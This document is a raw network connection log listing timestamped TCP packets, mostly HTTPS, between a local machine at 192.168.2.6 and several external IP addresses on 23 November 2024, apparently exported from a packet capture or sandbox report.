Nov 23, 2024 02:55:33.760883093 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:33.889522076 CET	443	49807	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:33.902926922 CET	49807	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:33.902954102 CET	443	49807	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:33.903539896 CET	49807	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:33.903544903 CET	443	49807	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:33.927551031 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:33.927622080 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:33.927625895 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:33.927655935 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:33.927687883 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:33.927702904 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:33.927732944 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:33.927740097 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:33.927763939 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:33.927786112 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:33.928196907 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:33.928220034 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:33.928316116 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:33.929305077 CET	49819	443	192.168.2.6	172.217.19.225
Nov 23, 2024 02:55:33.929318905 CET	443	49819	172.217.19.225	192.168.2.6
Nov 23, 2024 02:55:33.966933012 CET	443	49805	94.245.104.56	192.168.2.6
Nov 23, 2024 02:55:33.967163086 CET	443	49805	94.245.104.56	192.168.2.6
Nov 23, 2024 02:55:33.967225075 CET	49805	443	192.168.2.6	94.245.104.56
Nov 23, 2024 02:55:34.020370960 CET	49805	443	192.168.2.6	94.245.104.56
Nov 23, 2024 02:55:34.020390987 CET	443	49805	94.245.104.56	192.168.2.6
Nov 23, 2024 02:55:34.020602942 CET	49805	443	192.168.2.6	94.245.104.56
Nov 23, 2024 02:55:34.020623922 CET	49805	443	192.168.2.6	94.245.104.56
Nov 23, 2024 02:55:34.088418961 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.088507891 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.088573933 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.100334883 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.100364923 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.100378990 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.100385904 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.132258892 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.132289886 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.132359982 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.132379055 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.132414103 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.132425070 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.146480083 CET	49820	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.146516085 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.146619081 CET	49820	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.149470091 CET	49820	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.149482012 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.168176889 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.168201923 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.168242931 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.168251038 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.168282986 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.168329954 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.195245028 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.195318937 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.195391893 CET	49808	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.198971987 CET	49808	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.199023008 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.199054003 CET	49808	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.199073076 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.203344107 CET	49821	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.203382969 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.203517914 CET	49821	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.203702927 CET	49821	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.203717947 CET	443	49821	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.337265968 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.337291002 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.337340117 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.337352991 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.337399960 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.349278927 CET	443	49807	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.349349976 CET	443	49807	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.349438906 CET	49807	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.352488995 CET	49807	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.352507114 CET	443	49807	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.352516890 CET	49807	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.352521896 CET	443	49807	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.356657982 CET	49822	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.356693983 CET	443	49822	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.357034922 CET	49822	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.358170033 CET	49822	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.358181953 CET	443	49822	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.359241962 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.359268904 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.359329939 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.359337091 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.359384060 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.376095057 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.376117945 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.376172066 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.376183987 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.376223087 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.395555973 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.395579100 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.395639896 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.395649910 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.395698071 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.409431934 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.412626982 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.412688971 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.413058996 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.413089991 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.475380898 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.475810051 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.475833893 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.476317883 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.476321936 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.554722071 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.554780960 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.554800034 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.554816961 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.554862022 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.554881096 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.570512056 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.570538044 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.570585966 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.570594072 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.570638895 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.588922977 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.588944912 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.589009047 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.589016914 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.589065075 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.607244015 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.607265949 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.607326031 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.607335091 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.607378006 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.624425888 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.624450922 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.624535084 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.624548912 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.624754906 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.642657995 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.642688036 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.642731905 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.642741919 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.642777920 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.642795086 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.757685900 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.757721901 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.757780075 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.757791996 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.757836103 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.769610882 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.769637108 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.769680977 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.769690990 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.769721031 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.769740105 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.782721996 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.782751083 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.782799959 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.782809019 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.782850027 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.795908928 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.795933962 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.796008110 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.796016932 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.796433926 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.808434963 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.808459997 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.808528900 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.808540106 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.808731079 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.821458101 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.821484089 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.821528912 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.821537018 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.821576118 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.832926989 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.832950115 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.832989931 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.832998037 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.833030939 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.833043098 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.852427959 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.852636099 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.852725029 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.927881956 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.928042889 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.928118944 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.958729029 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.958758116 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.958820105 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.958832026 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.958863974 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.958874941 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.967423916 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.967447042 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.967499971 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.967520952 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.970489025 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.975583076 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.975583076 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.975627899 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.975653887 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.976794958 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.976823092 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.976907969 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.976916075 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.976960897 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.977153063 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.977161884 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.977173090 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:34.977176905 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:34.984913111 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.984935045 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.985009909 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.985037088 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.985084057 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.994303942 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.994321108 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.994420052 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:34.994442940 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:34.995933056 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.003113985 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.003138065 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.003181934 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.003190041 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.003226042 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.003237963 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.007612944 CET	49828	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:35.007647038 CET	443	49828	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:35.007720947 CET	49828	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:35.012270927 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.012291908 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.012337923 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.012348890 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.012375116 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.012394905 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.021656990 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.021678925 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.021737099 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.021752119 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.021764994 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.021797895 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.169382095 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.169406891 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.169456959 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.169476986 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.169495106 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.169518948 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.176584005 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.176604033 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.176670074 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.176677942 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.176714897 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.184979916 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.185002089 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.185055017 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.185060978 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.185101986 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.193290949 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.193310976 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.193360090 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.193367958 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.193389893 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.193406105 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.201718092 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.201740026 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.201802969 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.201811075 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.201854944 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.209521055 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.209543943 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.209682941 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.209691048 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.209733963 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.216902971 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.216923952 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.216996908 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.217005014 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.218511105 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.225265980 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.225286961 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.225338936 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.225347042 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.225378036 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.225392103 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.245682001 CET	49828	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:35.245697021 CET	443	49828	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:35.292058945 CET	49833	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:35.292092085 CET	443	49833	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:35.292154074 CET	49833	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:35.295711994 CET	49833	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:35.295727968 CET	443	49833	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:35.379625082 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.379652977 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.379697084 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.379718065 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.379728079 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.379875898 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.386194944 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:35.386286974 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:35.387326956 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.387346983 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.387403011 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.387409925 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.387443066 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.387455940 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.395556927 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.395580053 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.395631075 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.395637989 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.395678043 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.395693064 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.403836966 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.403856993 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.403911114 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.403918982 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.403949022 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.403963089 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.411052942 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.411114931 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.483995914 CET	49834	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:35.484039068 CET	443	49834	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:35.484122992 CET	49834	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:35.484445095 CET	49834	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:35.484457970 CET	443	49834	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:35.496722937 CET	49836	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:35.496762037 CET	443	49836	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:35.496814966 CET	49836	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:35.497421026 CET	49836	443	192.168.2.6	162.159.61.3
Nov 23, 2024 02:55:35.497438908 CET	443	49836	162.159.61.3	192.168.2.6
Nov 23, 2024 02:55:35.501517057 CET	49837	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:35.501543045 CET	443	49837	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:35.501928091 CET	49837	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:35.502139091 CET	49837	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:35.502152920 CET	443	49837	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:35.565180063 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:35.615330935 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.615386963 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.675770044 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.675786972 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.675797939 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.675869942 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.675877094 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.675892115 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:35.675976992 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:35.675986052 CET	443	49790	150.171.27.10	192.168.2.6
